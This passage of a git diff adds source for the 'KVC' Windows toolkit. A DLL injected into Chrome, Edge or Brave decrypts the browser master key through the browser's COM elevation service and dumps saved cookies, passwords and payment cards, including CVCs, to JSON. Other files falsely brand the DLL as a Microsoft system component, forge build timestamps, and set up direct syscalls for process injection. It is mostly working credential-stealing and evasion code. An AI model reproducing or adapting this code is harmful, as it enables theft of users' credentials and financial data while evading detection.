INVALID_HANDLE_VALUE; } + + // Send diagnostic message to orchestrator + void Log(const std::string& message) + { + if (isValid()) + { + DWORD bytesWritten = 0; + WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); + } + } + + HANDLE getHandle() const noexcept { return m_pipe; } + + private: + HANDLE m_pipe = INVALID_HANDLE_VALUE; + }; + + // Browser configuration and path management + class BrowserManager + { + public: + BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} + + const Browser::Config& getConfig() const noexcept { return m_config; } + + // Resolve user data root directory for current browser configuration + fs::path getUserDataRoot() const + { + return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; + } + + private: + Browser::Config m_config; + }; + + // Master key decryption service using COM elevation interfaces + class MasterKeyDecryptor + { + public: + explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) + { + if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) + { + throw std::runtime_error("Failed to initialize COM library."); + } + m_comInitialized = true; + m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); + } + + ~MasterKeyDecryptor() + { + if (m_comInitialized) + { + CoUninitialize(); + } + } + + // Decrypt master key using browser-specific COM elevation service + std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath) + { + m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); + auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); + + // Prepare encrypted key as BSTR for COM interface + BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), + static_cast(encryptedKeyBlob.size())); + if (!bstrEncKey) + throw std::runtime_error("SysAllocStringByteLen for encrypted key failed."); + + BSTR bstrPlainKey = nullptr; + HRESULT hr = E_FAIL; + DWORD comErr = 0; + + m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); + + // Use Edge-specific COM elevation interface + if (config.name == "Edge") + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + // Use Chrome/Brave COM elevation interface + else + { + Microsoft::WRL::ComPtr elevator; + hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); + if (SUCCEEDED(hr)) + { + CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); + hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); + } + } + + // Cleanup and validate COM decryption operation result + SysFreeString(bstrEncKey); + + if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) + { + if (bstrPlainKey) SysFreeString(bstrPlainKey); + std::ostringstream oss; + oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr; + throw std::runtime_error(oss.str()); + } + + // Extract raw AES key bytes from BSTR + std::vector aesKey(Crypto::KEY_SIZE); + memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); + SysFreeString(bstrPlainKey); + return aesKey; + } + + private: + PipeLogger& m_logger; + bool m_comInitialized = false; + }; + + // Browser profile discovery and enumeration service + class ProfileEnumerator + { + public: + ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) + : m_userDataRoot(userDataRoot), m_logger(logger) {} + + // Discover all browser profiles containing extractable databases + std::vector FindProfiles() + { + m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); + std::vector profilePaths; + + // Check if directory contains extractable database files + auto isProfileDirectory = [](const fs::path& path) + { + for (const auto& dataCfg : Data::GetExtractionConfigs()) + { + if (fs::exists(path / dataCfg.dbRelativePath)) + return true; + } + return false; + }; + + // Check if root directory qualifies as a profile + if (isProfileDirectory(m_userDataRoot)) + { + profilePaths.push_back(m_userDataRoot); + } + + // Scan for profile subdirectories with database content + std::error_code ec; + for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) + { + if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) + { + profilePaths.push_back(entry.path()); + } + } + + if (ec) + { + m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); + } + + // Remove duplicates using sort + unique instead of std::set + std::sort(profilePaths.begin(), profilePaths.end()); + profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); + + m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); + return profilePaths; + } + + private: + fs::path m_userDataRoot; + PipeLogger& m_logger; + }; + + // Database content extraction service using SQLite interface + class DataExtractor + { + public: + DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName) + : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), + m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} + + // Extract and decrypt data from browser database + void Extract() + { + fs::path dbPath = m_profilePath / m_config.dbRelativePath; + if (!fs::exists(dbPath)) + return; + + // Open database with nolock parameter for live extraction without file locking + sqlite3* db = nullptr; + std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; + std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); + + if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) + { + m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + + ": " + (db ? sqlite3_errmsg(db) : "N/A")); + if (db) sqlite3_close_v2(db); + return; + } + + // Prepare SQL query for data extraction + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK) + { + sqlite3_close_v2(db); + return; + } + + // Execute pre-query setup if needed (e.g., for payment card CVCs) + void* preQueryState = nullptr; + std::shared_ptr>> cvcMap; + if (m_config.preQuerySetup) + { + cvcMap = m_config.preQuerySetup(db); + preQueryState = &cvcMap; + } + + // Extract and format data entries using custom formatters + std::vector jsonEntries; + while (sqlite3_step(stmt) == SQLITE_ROW) + { + if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) + { + jsonEntries.push_back(*jsonEntry); + } + } + + sqlite3_finalize(stmt); + sqlite3_close_v2(db); + + // Write extraction results to structured JSON output file + if (!jsonEntries.empty()) + { + fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / + (m_config.outputFileName + ".json"); + + std::error_code ec; + fs::create_directories(outFilePath.parent_path(), ec); + if (ec) + { + m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); + return; + } + + std::ofstream out(outFilePath, std::ios::trunc); + if (!out) return; + + out << "[\n"; + for (size_t i = 0; i < jsonEntries.size(); ++i) + { + out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); + } + out << "\n]\n"; + + m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + + " extracted to " + StringUtils::path_to_string(outFilePath)); + } + } + + private: + fs::path m_profilePath; + const Data::ExtractionConfig& m_config; + const std::vector& m_aesKey; + PipeLogger& m_logger; + fs::path m_baseOutputPath; + std::string m_browserName; + }; + + // Main orchestrator for browser security analysis operations + class SecurityOrchestrator + { + public: + explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName) + { + if (!m_logger.isValid()) + { + throw std::runtime_error("Failed to connect to named pipe from orchestrator."); + } + ReadPipeParameters(); + } + + // Execute complete browser security analysis workflow + void Run() + { + BrowserManager browserManager; + const auto& browserConfig = browserManager.getConfig(); + m_logger.Log("[*] Security analysis process started for " + browserConfig.name); + + // Decrypt master key using COM elevation service + std::vector aesKey; + { + MasterKeyDecryptor keyDecryptor(m_logger); + fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; + aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath); + } + m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey)); + + // Discover and process all browser profiles systematically + ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger); + auto profilePaths = enumerator.FindProfiles(); + + for (const auto& profilePath : profilePaths) + { + m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); + + // Extract each data type (cookies, passwords, payments) using specialized handlers + for (const auto& dataConfig : Data::GetExtractionConfigs()) + { + DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name); + extractor.Extract(); + } + } + + m_logger.Log("[*] All profiles processed. Security analysis process finished."); + } + + private: + // Read configuration parameters from orchestrator via named pipe + void ReadPipeParameters() + { + char buffer[MAX_PATH + 1] = {0}; + DWORD bytesRead = 0; + + // Read verbose flag configuration + ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); + + // Read output path configuration + ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); + buffer[bytesRead] = '\0'; + m_outputPath = buffer; + } + + PipeLogger m_logger; + fs::path m_outputPath; + }; +} + +// Thread parameters for security module worker thread +struct ModuleThreadParams +{ + HMODULE hModule_dll; + LPVOID lpPipeNamePointerFromOrchestrator; +}; + +// Main worker thread for browser security analysis operations +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) +{ + auto thread_params = std::unique_ptr(static_cast(lpParam)); + + try + { + SecurityComponents::SecurityOrchestrator orchestrator(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + orchestrator.Run(); + } + catch (const std::exception& e) + { + try + { + // Attempt to log error through pipe if communication channel is available + SecurityComponents::PipeLogger errorLogger(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + if (errorLogger.isValid()) + { + errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); + } + } + catch (...) {} // Failsafe error handling if logging subsystem fails + } + + FreeLibraryAndExitThread(thread_params->hModule_dll, 0); + return 0; +} + +// Security module entry point - initializes browser security analysis operations +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(hModule); + + auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; + if (!params) return TRUE; + + HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); + if (hThread) + { + CloseHandle(hThread); + } + else + { + delete params; + } + } + return TRUE; +} \ No newline at end of file diff --git a/kvc/kvc_crypt.def b/kvc/kvc_crypt.def new file mode 100644 index 0000000..bd3d740 --- /dev/null +++ b/kvc/kvc_crypt.def @@ -0,0 +1,2 @@ +EXPORTS +InitializeSecurityContext diff --git a/kvc/kvc_crypt.rc b/kvc/kvc_crypt.rc new file mode 100644 index 0000000..844c79f --- /dev/null +++ b/kvc/kvc_crypt.rc @@ -0,0 +1,70 @@ +// Microsoft Visual C++ generated resource script. +// kvc_crypt DLL Resource File - Microsoft Corporation branding +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (United States) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US + +///////////////////////////////////////////////////////////////////////////// +// +// Version Information - Microsoft Corporation branding identical to kvc.exe +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 10,0,26200,8460 + PRODUCTVERSION 10,0,26200,8460 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L // DLL file type + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "CompanyName", "Microsoft Corporation" + VALUE "FileDescription", "Windows System Component" + VALUE "FileVersion", "10.0.26200.8460" + VALUE "InternalName", "kvc_crypt.dll" + VALUE "LegalCopyright", " Microsoft Corporation. All rights reserved." + VALUE "OriginalFilename", "kvc_crypt.dll" + VALUE "ProductName", "Microsoft Windows Operating System" + VALUE "ProductVersion", "10.0.26200.8460" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + +#endif // English (United States) resources +///////////////////////////////////////////////////////////////////////////// + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED \ No newline at end of file diff --git a/kvc/kvc_crypt.user b/kvc/kvc_crypt.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_crypt.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/kvc_crypt.vcxproj b/kvc/kvc_crypt.vcxproj new file mode 100644 index 0000000..39aad17 --- /dev/null +++ b/kvc/kvc_crypt.vcxproj @@ -0,0 +1,92 @@ + + + + + Release + x64 + + + + 16.0 + {87654321-4321-4321-4321-123456789DEF} + chromedecrypt + 10.0 + + + + DynamicLibrary + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + kvc_crypt + + + + Level3 + true + true + false + NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries) + + + Windows + true + true + false + ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies) + $(ProjectDir);%(AdditionalLibraryDirectories) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP %(AdditionalOptions) + kvc_crypt.def + /NODEFAULTLIB:msvcprt.lib %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.rc b/kvc/kvc_pass.rc new file mode 100644 index 0000000000000000000000000000000000000000..38974e7fb0ca4fe3f44b703581be1feca19ea275 GIT binary patch literal 5446 zcmdUz+ioI95QghIQr=<0-s~y~i+8Okxm*KwP%u~qlSHzF9BdpE8(R$QLCOo|CXcwA z@9(A<2F7Ud`hsXQ(>*=aRn>pjspr$jm-f;UJGPMxY+`qoau03FSdX#PW_DpWyjAU6 zuEehG%EsIi#;3HGj7?}YZ$@uGKjBT>Ms^QP*}k@~kRmyM*;~H!8NYxgW#n{i?jiGT z0+;XkUZhzSSrd5ZDJ@3y#?bx|-pA-P;{AFdSMr~Qu>qWCe3yx^`wYYgn6AoLZgH8vT|v?RQ2xJdf>wktTg#x7NOUmuu&3Vn?iZb#I5D zbZ57$e+oLnq06d&WshQUPsiqt1a4tcLCoxFOUE3A?6yzwamaOTF7H< z!?AI`yVbgO3A-zAx?!hMY#_1c?D?2C_x}#P7!6W;QD6n>l248BsKmaRBPTyq40(

    irTJNh4xCogdp}pr)G#ccxzusdV zFe6UI3cxFla-hBgxgj(Y+DI$9G{mtnBOiji2DaBAiZqBn%Ivc7O_$ScqFMe{T5vwc z>S9IY`eoI}GFH3Q_dW4em7?lFVHxpn;7bwb+uRO)X+4)9K^b?X+qWjaM_w$E4g z9tzh@t?nLiyU(*uhUkF5_EkIFBI~r7o&VzFnwdb+AS2XQXcFwALe9|r%6{Okg#M4V z&s!x(O{f@8;a?+fREc4EDWAu|r5}c@bcFWDWTy^UB|*x2dkxafAWiWu%SXzab#mDm z@i)JYj8o*Wx0rv0SEY0GvURW0SC;5wtvy_k&_=(=dq1F30h6d>#$Cxd&^FgLRC`Q;uMr$o6GVxFVk_UA!+%<7X8>|{~A!dM89`X zsYd!htJ+Vef)h}_BX){Ix{^U%s<*|`^U=el%Dc+p&b+H^?p@ogQoAl~C$u`tu421- zCM`p&7_yCwCiK^VyY}%Ogk*cyRLj%F9{vMbpMRPyL;VJA72z^o!atssw4S#}y#%Fg zG;Pnh$uoq8+koDdE$%5$iMDaciF*JJtGKUY@h_{(TboAO;OYMxqCe+taGTZVHF`SB z%PLm4_4Sc_B&9XLHeMCT6b<;_Iz4Bh>vs-rrtTz^8>|NQ0m{6A`Nps)Y{ literal 0 HcmV?d00001 diff --git a/kvc/kvc_pass.vcxproj b/kvc/kvc_pass.vcxproj new file mode 100644 index 0000000..e41179b --- /dev/null +++ b/kvc/kvc_pass.vcxproj @@ -0,0 +1,89 @@ + + + + + Release + x64 + + + + 16.0 + {12345678-1234-1234-1234-123456789ABC} + kvc_pass + 10.0 + + + + Application + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + kvc_pass + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + + + Console + true + true + false + Rpcrt4.lib;version.lib;shell32.lib;%(AdditionalDependencies) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.vcxproj.user b/kvc/kvc_pass.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_pass.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/resource.h b/kvc/resource.h new file mode 100644 index 0000000..a18cb30 --- /dev/null +++ b/kvc/resource.h @@ -0,0 +1,24 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Unified resource header for kvc + PassExtractor integration + +// KVC Main Application Resources (100-199) +#define IDI_ICON1 101 +#define IDR_MAINICON 102 // Icon data containing embedded driver + +// PassExtractor/kvc_pass Resources (200-299) +#define IDI_PASSEXTRACTOR_ICON 201 +#define IDR_PASSEXTRACTOR_VERSION 202 + +// kvc_crypt DLL Resources (300-399) - currently unused due to NO_RESOURCES +// Reserved for future expansion + +// Next default values for new objects +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 210 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/kvc/syscalls.cpp b/kvc/syscalls.cpp new file mode 100644 index 0000000..41324a0 --- /dev/null +++ b/kvc/syscalls.cpp @@ -0,0 +1,257 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// syscalls.cpp +#include "syscalls.h" +#include +#include +#include +#include +#include + +SYSCALL_STUBS g_syscall_stubs{}; + +// External assembly trampoline for syscall ABI transition +extern "C" NTSTATUS AbiTramp(...); + +namespace +{ + // Syscall mapping structure for address-based sorting + struct SORTED_SYSCALL_MAPPING + { + PVOID pAddress; + LPCSTR szName; + }; + + // Comparator for syscall address sorting to determine SSNs + bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b) + { + return reinterpret_cast(a.pAddress) < reinterpret_cast(b.pAddress); + } + + // Locate syscall gadget within function prologue for x64 architecture + PVOID FindSyscallGadget_x64(PVOID pFunction) + { + for (DWORD i = 0; i <= 64; ++i) + { + auto current_addr = reinterpret_cast(pFunction) + i; + + // Skip relative jump instructions + if (*current_addr == 0xE9) // jmp rel32 + { + i += 4; + continue; + } + + // Look for syscall; ret instruction sequence + if (*reinterpret_cast(current_addr) == 0x050F && *(current_addr + 2) == 0xC3) + { + return current_addr; + } + } + return nullptr; + } +} + +// Initialize direct syscall stubs for low-level system operations +BOOL InitializeSyscalls(bool is_verbose) +{ + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) + return FALSE; + + // Parse NTDLL export directory to enumerate Zw* functions + auto pDosHeader = reinterpret_cast(hNtdll); + auto pNtHeaders = reinterpret_cast(reinterpret_cast(hNtdll) + pDosHeader->e_lfanew); + PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast(reinterpret_cast(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + auto pNameRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNames); + auto pAddressRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfFunctions); + auto pOrdinalRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNameOrdinals); + + // Collect and sort all Zw* functions for SSN determination + std::vector sortedSyscalls; + sortedSyscalls.reserve(pExportDir->NumberOfNames); + + for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) + { + LPCSTR szFuncName = reinterpret_cast(reinterpret_cast(hNtdll) + pNameRvas[i]); + if (strncmp(szFuncName, "Zw", 2) == 0) + { + PVOID pFuncAddress = reinterpret_cast(reinterpret_cast(hNtdll) + pAddressRvas[pOrdinalRvas[i]]); + sortedSyscalls.push_back({pFuncAddress, szFuncName}); + } + } + + std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings); + + // Map of required syscalls with their parameter counts for security operations + struct CStringComparer + { + bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; } + }; + const std::map, CStringComparer> required_syscalls = { + {"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}}, + {"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}}, + {"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}}, + {"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}}, + {"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}}, + {"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}}, + {"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}}, + {"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}}, + {"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}}, + {"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}}, + {"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}}, + {"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}}, + {"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}}, + {"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}}, + {"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}, + {"ZwClose", {&g_syscall_stubs.NtClose, 1}}, + {"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}}, + {"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}}, + {"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}}; + + // Resolve syscall stubs and gadgets for each required function + for (WORD i = 0; i < sortedSyscalls.size(); ++i) + { + const auto &mapping = sortedSyscalls[i]; + auto it = required_syscalls.find(mapping.szName); + if (it == required_syscalls.end()) + continue; + + PVOID pGadget = FindSyscallGadget_x64(mapping.pAddress); + if (pGadget) + { + it->second.first->pSyscallGadget = pGadget; + it->second.first->nArgs = it->second.second; + it->second.first->ssn = i; + } + } + + // Validate that all required syscalls were successfully resolved + for (const auto &pair : required_syscalls) + { + if (!pair.second.first->pSyscallGadget) + return FALSE; + } + + return TRUE; +} + +// Direct syscall implementations using assembly trampoline +NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); +} + +NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); +} + +NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead); +} + +NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList); +} + +NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType); +} + +NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect); +} + +NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); +} + +NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle); +} + +NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus); +} + +NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); +} + +NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress) +{ + return 